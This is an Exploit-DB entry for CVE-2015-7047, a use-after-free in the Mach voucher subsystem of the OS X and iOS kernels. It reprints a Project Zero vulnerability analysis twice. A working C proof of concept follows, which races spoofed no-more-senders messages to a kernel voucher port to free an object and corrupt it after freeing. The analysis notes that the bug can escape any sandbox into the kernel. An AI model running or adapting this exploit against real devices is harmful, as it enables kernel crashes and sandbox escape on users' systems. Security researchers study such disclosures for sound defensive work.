标题: Apple Mac OSX / iOS - Unsandboxable Kernel Use-After-Free in Mach Vouchers EDB-ID: 39377 CVE: 2015-7047 类型: DOS 平台: MULTIPLE 发布日期: 2016-01-28 漏洞利用脚本: /*
Source: https://code.google.com/p/google-security-research/issues/detail?id=553

The mach voucher subsystem fails to correctly handle spoofed no-more-senders messages.

ipc_kobject_server will be called for mach messages sent to kernel-owned mach ports.
If the msgh_id of the message can't be found in the mig_buckets hash table then this function
calls ipc_kobject_notify. Note that this is the same code path which would be taken for a
real no-more-senders notification message but there's nothing stopping user-space from
also just sending one.

ipc_kobject_notify calls the correct notification method for the type of the KOBJECT associated with the port:


boolean_t
ipc_kobject_notify(
                   mach_msg_header_t *request_header,
                   mach_msg_header_t *reply_header)
{
    ipc_port_t port = (ipc_port_t) request_header->msgh_remote_port;
    
    ((mig_reply_error_t *) reply_header)->RetCode = MIG_NO_REPLY;
    switch (request_header->msgh_id) {
        case MACH_NOTIFY_NO_SENDERS:
            if (ip_kotype(port) == IKOT_VOUCHER) {
                ipc_voucher_notify(request_header);         <-- called unconditionally irregardless of the value of ip_srights
                return TRUE;
            }

At this point there are also no locks held.

void
ipc_voucher_notify(mach_msg_header_t *msg)
{
  mach_no_senders_notification_t *notification = (void *)msg;
  ipc_port_t port = notification->not_header.msgh_remote_port;
  ipc_voucher_t iv;

  assert(ip_active(port));
  assert(IKOT_VOUCHER == ip_kotype(port));
  iv = (ipc_voucher_t)port->ip_kobject;

  ipc_voucher_release(iv);
}


ipc_voucher_notify calls ipc_voucher_release, again not taking any locks, which calls through to iv_release:

void
ipc_voucher_release(ipc_voucher_t voucher)
{
  if (IPC_VOUCHER_NULL != voucher)
    iv_release(voucher);
}


static inline void
iv_release(ipc_voucher_t iv)
{
  iv_refs_t refs;

  assert(0 < iv->iv_refs);
  refs = hw_atomic_sub(&iv->iv_refs, 1);
  if (0 == refs)
    iv_dealloc(iv, TRUE);
}

iv_release decrements the reference count field at +0x8 of the voucher object, and if it's zero frees it via iv_dealloc.

We can send two spoofed no-more-senders notifications to a voucher mach port which will race each other to iv_release,
one will free iv (via iv_dealloc) then the second will execute hw_atomic_sub and decrement the reference count field
of a free'd object.

With sufficient effort you could reallocate something else over the free'd ipc_voucher_t; you could then decrement the field at
+0x8 (and if that resulted in that field being zero you could free it.)

You should enable kernel zone poisoning with the "-zp" boot arg to repro this.

You should see a panic message like this:
panic(cpu 2 caller 0xffffff800712922b): "a freed zone element has been modified in zone ipc vouchers: expected 0xdeadbeefdeadbeef but found 0xdeadbeefdeadbeee, bits changed 0x1, at offset 8 of 80 in element 

This is consistent with the hw_atomic_sub call decrementing the refcount of a free'd object.

Tested on OS X ElCapitan 10.11 (15A284)

Presumably this is there on iOS too; I will update this bug if I can repro it there. I don't think there are any MAC hooks in the voucher subsystem so this should break you out of any sandboxes into the kernel.

Note that you might have to leave the repro running for a little while to win the race.
*/

// ianbeer

/*
OS X and iOS unsandboxable kernel use-after-free in mach vouchers

The mach voucher subsystem fails to correctly handle spoofed no-more-senders messages.

ipc_kobject_server will be called for mach messages sent to kernel-owned mach ports.
If the msgh_id of the message can't be found in the mig_buckets hash table then this function
calls ipc_kobject_notify. Note that this is the same code path which would be taken for a
real no-more-senders notification message but there's nothing stopping user-space from
also just sending one.

ipc_kobject_notify calls the correct notification method for the type of the KOBJECT associated with the port:


boolean_t
ipc_kobject_notify(
                   mach_msg_header_t *request_header,
                   mach_msg_header_t *reply_header)
{
    ipc_port_t port = (ipc_port_t) request_header->msgh_remote_port;
    
    ((mig_reply_error_t *) reply_header)->RetCode = MIG_NO_REPLY;
    switch (request_header->msgh_id) {
        case MACH_NOTIFY_NO_SENDERS:
            if (ip_kotype(port) == IKOT_VOUCHER) {
                ipc_voucher_notify(request_header);         <-- called unconditionally irregardless of the value of ip_srights
                return TRUE;
            }

At this point there are also no locks held.

void
ipc_voucher_notify(mach_msg_header_t *msg)
{
  mach_no_senders_notification_t *notification = (void *)msg;
  ipc_port_t port = notification->not_header.msgh_remote_port;
  ipc_voucher_t iv;

  assert(ip_active(port));
  assert(IKOT_VOUCHER == ip_kotype(port));
  iv = (ipc_voucher_t)port->ip_kobject;

  ipc_voucher_release(iv);
}


ipc_voucher_notify calls ipc_voucher_release, again not taking any locks, which calls through to iv_release:

void
ipc_voucher_release(ipc_voucher_t voucher)
{
  if (IPC_VOUCHER_NULL != voucher)
    iv_release(voucher);
}


static inline void
iv_release(ipc_voucher_t iv)
{
  iv_refs_t refs;

  assert(0 < iv->iv_refs);
  refs = hw_atomic_sub(&iv->iv_refs, 1);
  if (0 == refs)
    iv_dealloc(iv, TRUE);
}

iv_release decrements the reference count field at +0x8 of the voucher object, and if it's zero frees it via iv_dealloc.

We can send two spoofed no-more-senders notifications to a voucher mach port which will race each other to iv_release,
one will free iv (via iv_dealloc) then the second will execute hw_atomic_sub and decrement the reference count field
of a free'd object.

With sufficient effort you could reallocate something else over the free'd ipc_voucher_t; you could then decrement the field at
+0x8 (and if that resulted in that field being zero you could free it.)

You should enable kernel zone poisoning with the "-zp" boot arg to repro this.

You should see a panic message like this:
panic(cpu 2 caller 0xffffff800712922b): "a freed zone element has been modified in zone ipc vouchers: expected 0xdeadbeefdeadbeef but found 0xdeadbeefdeadbeee, bits changed 0x1, at offset 8 of 80 in element 

This is consistent with the hw_atomic_sub call decrementing the refcount of a free'd object.

Tested on OS X ElCapitan 10.11 (15A284)

Presumably this is there on iOS too; I will update this bug if I can repro it there. I don't think there are any MAC hooks in the voucher subsystem so this should break you out of any sandboxes into the kernel.

Note that you might have to leave the repro running for a little while to win the race.
*/


#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

int start = 0;

void go(void* arg){
  mach_port_t v = 0xb03; // <-- works for me; ymmv
  
  mach_msg_header_t msg = {0};
  msg.msgh_size = sizeof(mach_msg_header_t);
  msg.msgh_local_port = v;
  msg.msgh_remote_port = v;
  msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.msgh_id = 0106;

  while(start == 0){;}

  usleep(1);

  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}
int main() {
  //char port_num[20] = {0};
  //gets(port_num);
  //mach_port_t v = (mach_port_t)atoi(port_num);
  //printf("%x\n", v);

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  mach_port_t v = 0xb03;
  
  mach_msg_header_t msg = {0};
  msg.msgh_size = sizeof(mach_msg_header_t);
  msg.msgh_local_port = v;
  msg.msgh_remote_port = v;
  msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.msgh_id = 0106;

  usleep(100000);

  start = 1;

  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);

  pthread_join(t, NULL);

  return 0;
} URL: https://www.exploit-db.com/exploits/39377